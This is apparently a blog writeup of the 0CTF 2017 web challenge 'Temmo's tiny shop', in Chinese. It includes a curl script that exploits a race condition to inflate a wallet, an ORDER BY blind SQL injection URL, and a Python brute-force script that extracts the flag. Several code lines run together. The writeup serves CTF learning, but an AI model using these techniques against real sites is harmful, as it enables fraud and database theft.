• Temmos tiny shop

2017年0CTF,WEB部分题目的Writeup。


Temmo’s tiny shop

本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下

#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"url="http://202.120.7.197/app.php"curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2" -b $cookie1 &
curl "$url?action=sale&id=2" -b $cookie2

得到HINT的提示:

OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`

接下来便是sql注入,注入点在search功能的order参数上,可以这样构造

http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)

因为没有回显,对flag进行逐个字符的爆破,遍历ascii码表,通过返回内容中商品的顺序来判断每个字符的值。python代码如下:

#!/usr/bin/python
import requestsurl = "http://202.120.7.197/app.php"param = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)"headers = {"Cookie" : "PHPSESSID=39083e7nft6kbvkjvph29socb0"}
answer=''for i in range(40):for j in range(128):if j == 37:continuecontent = requests.get(url+param.format(str(i), hex(j)), headers=headers).contentprint param.format(str(i), hex(j))print contentif content.find('"id":"6"') < content.find('"id":"3"'):answer += chr(j)print chr(j)breakprint answer

可以得到flag

FLAG_R4CE_C0NDITI0N_I5_EXCITED_

OVER~

Writeup for 0CTF2017 web相关推荐

  1. Dest0g3 520迎新赛 writeup (misc部分 + web部分)

    Dest0g3 520迎新赛 文章目录 Dest0g3 520迎新赛 MISC Welcome to fxxking DestCTF 你知道js吗 StrangeTraffic Pngenius Ea ...

  2. My Writeup

    My writeup Bugku(web): 1.web2 打开就出现了很多滑稽, 直接f12→查看器→→flag有了 2.计算器 进去之后是一个计算题,但是只能输入一个数字,肯定是对提交内容做了限制 ...

  3. 【2022羊城杯WriteUp By EDISEC】

    2022羊城杯WriteUp By EDISEC Web little_db Safepop rce_me step_by_step-v3 ComeAndLogin simple_json Misc ...

  4. 第五空间CTF初赛WriteUp By EDISEC

    第五空间CTF初赛WriteUp By EDISEC Web 5_web_Eeeeasy_SQL 5_web_BaliYun 5_easylogin 5_web_letmeguess_1 Misc s ...

  5. 2022巅峰极客WriteUp By EDISEC

    2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...

  6. SWPUCTF2019web题复现

    [SWPU2019]web1-easy_web 有一个登录框,试了试万能密码失败,那就注册吧 登录后发现有一个申请广告,在标题处输入11111111',发现报错,应该是sql注入 禁用了or,空格等等 ...

  7. php逻辑难是难在sql,[实验吧] 所有web writeup

    实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...

  8. 2022 lineCTF WEB复现WriteUp

    lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...

  9. 虎符WEB Writeup

    虎符网络安全比赛 WEB Writeup 转自i春秋 https://bbs.ichunqiu.com/thread-56994-1-2.html 0x01 前言 这次比赛相对于我这个小菜鸡而言收获很 ...

  10. Jarvis-OJ WEB 多题writeup

    PORT51(curl) LOCALHOST(伪造ip) Login(SQL注入) 神盾局的秘密(base64编码+反序列化) IN A Mess(代码审计+过滤空格SQL注入) admin(robo ...

最新文章

  1. 原型模式(Prototype)
  2. 手把手教你如何建立自己的Linux系统(二)
  3. div中有元素刷新不出来_DNF:神话罐子来了!500个不渝材料就能换,但你刷新不出来...
  4. c++中使用 数据库相关知识点 部分后面慢慢加
  5. mysqldump导出不包含存储过程
  6. #include与#include的区别
  7. idea 中文字体 自动变_提高工作效率,我推荐讯飞语记,瞬间语音秒变文字
  8. Intel Multiprocessor System Architecture
  9. OpenSSL 用SM3算法进行hash
  10. .mcs与.bin文件格式有什么区别?
  11. python改变图片像素值大小_Python之修改图片像素值的方法
  12. 【无标题】单分子纳米孔测序技术及其应用研究进展
  13. Python Prep随想练习-Day3
  14. 虚拟机去虚拟化教程,过游戏检测,不全你打我
  15. NTP 服务的配置和使用
  16. 《Gradient-based learning applied to document recognition》翻译
  17. 微信小程序基于OCR插件实现图文识别(超简单)
  18. HTML Input标签输入限制
  19. 电影▍更多的《复仇者联盟4:终局之战》剧透描述了令人心碎的超级英雄死亡...
  20. 鉴微品翠之玉雕大师黄时康:众翠皆平等 红尘不染心

热门文章

  1. 国产化操作系统安装OpenJDK Icedtea插件
  2. 微博mysql连接错误_新浪微博错误代码详解
  3. visio 如何让箭头完全水平?
  4. 有关vc++ 时钟程序的学习与体会
  5. 项目杂识-FOV(视场角)
  6. java table 增加行_使用POI给word中的表格增加行
  7. 苹果笔记本电脑如何清理缓存内存空间?
  8. RAR及ZIP压缩文件解压提示文件损坏或无法解压原因及修复办法全解析
  9. 环境保护设施运营组织服务认证 认证专业分类及运营设施范围
  10. 软考(网络工程师)-必备网络知识(笔记二)